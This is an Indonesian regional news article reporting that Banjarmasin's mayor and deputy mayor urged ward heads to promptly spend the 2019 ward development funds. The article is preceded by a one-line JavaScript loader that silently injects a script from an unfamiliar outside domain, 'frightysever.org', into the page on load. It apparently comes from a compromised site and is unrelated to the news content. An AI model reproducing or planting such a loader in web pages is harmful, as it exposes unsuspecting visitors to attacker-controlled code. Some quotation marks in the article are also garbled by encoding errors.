(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Walikota Banjarmasin H Ibnu Sina meminta para lurah se-Kota Banjarmasin segera menggunakan dana kelurahan yang sudah dibagikan.
Menurutnya, para lurah tidak perlu khawatir dalam menggunakan dana tersebut. Sebab, jelasnya, menyangkut penggunaan dana tersebut telah diatur dalam Permendagri Nomor 130 tahun 2018 tentang kegiatan Pembangunan Sarana Kelurahan.
Selain itu, lanjutnya, hasil studi banding ke kota lain yang telah dilaksanakan beberapa waktu lalu, dan Musrenbang yang telah dilaksanakan dapat digunakan sebagai salah satu acuan dalam penyerapan anggaran tersebut .
Ia pun berharap para lurah dan camat se Kota Banjarmasin segera mengambil langkah-langkah untuk dapat menggunakan dana kelurahan sesuai kesepakatan saat dana tersebut dicairkan di tahap awal.
“Jadi saya mendorong kepada seluruh lurah dan camat untuk sesegeranya mengambil langkah-langkah sesuai dengan kesepakatan, kemudian melakukan penunjukan KPA Lurah dan juga penunjukan bendahara pengeluaran, dan penunjukan pejabat penata usaha keuangan,†ujarnya, saat memberikan arahannya dalam kegiatan rapat kerja sosialisasi camat dan lurah se-Kota Banjarmasin pengelolaan dana kelurahan tahun 2019, di Aula Kayuh Baimbai, Balikota Banjarmasin, Rabu (12/6).
Akhir Bulan April 2019 lalu, Pemkot Banjarmasin menyerahkan Daftar Pelaksanaan Anggaran (DPA), kepada seluruh kelurahan yang ada di lima kecamatan di kota ini. DPA yang diserahkan itu terbagi atas beberapa tahapan.
Untuk tahap pertama dana yang disediakan untuk 52 kelurahan itu totalnya sebesar Rp 9,624 miliar. Setiap kelurahan akan menerima sekitar Rp185 juta.
Sementara itu, Wakil Walikota Banjarmasin H Hermansyah meminta, agar dana kelurahan yang sudah dibagikan itu segera digunakan untuk kemaslahatan masyarakat. Katanya, penggunaan dana kelurahan itu hampir sama dengan penggunaan dana desa.
Untuk itu, ia berharap aparatur di tingkat keluarahan segera memikirkan penggunaan dana tersebut.
“Dana kelurahan ini mirip-mirip dengan dana desa, kalau di desa sudah berjalan artinya mereka bisa melakukannya. Sedangkan di Banjarmasin kalau dari sisi SDM tidak akan kekurangan, oleh sebab itu dalam rapat ini kami ingin tuntaskan semua kendala dan masalah baik secara administrasi dan sebagainya,†ujarnya.
Kegiatan yang difasilitasi Bagian Pemerintahan Setda Kota Banjarmasin itu menghadirkan narasumber dari inspektorat Kota Banjarmasin dan Badan Keuangan Daerah Kota Banjarmasin.
Kepala Bagian Pemerintahan Dolly Syahbana menegaskan, rencana kegiatan yang telah disusun oleh para lurah dalam Daftar Pengunaan Anggaran (DPA) itu harus segera dilaksanakan. “Itu harus dilaksanakan, mau tidak mau,†ujarnya. (mario)
KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
This website uses cookies.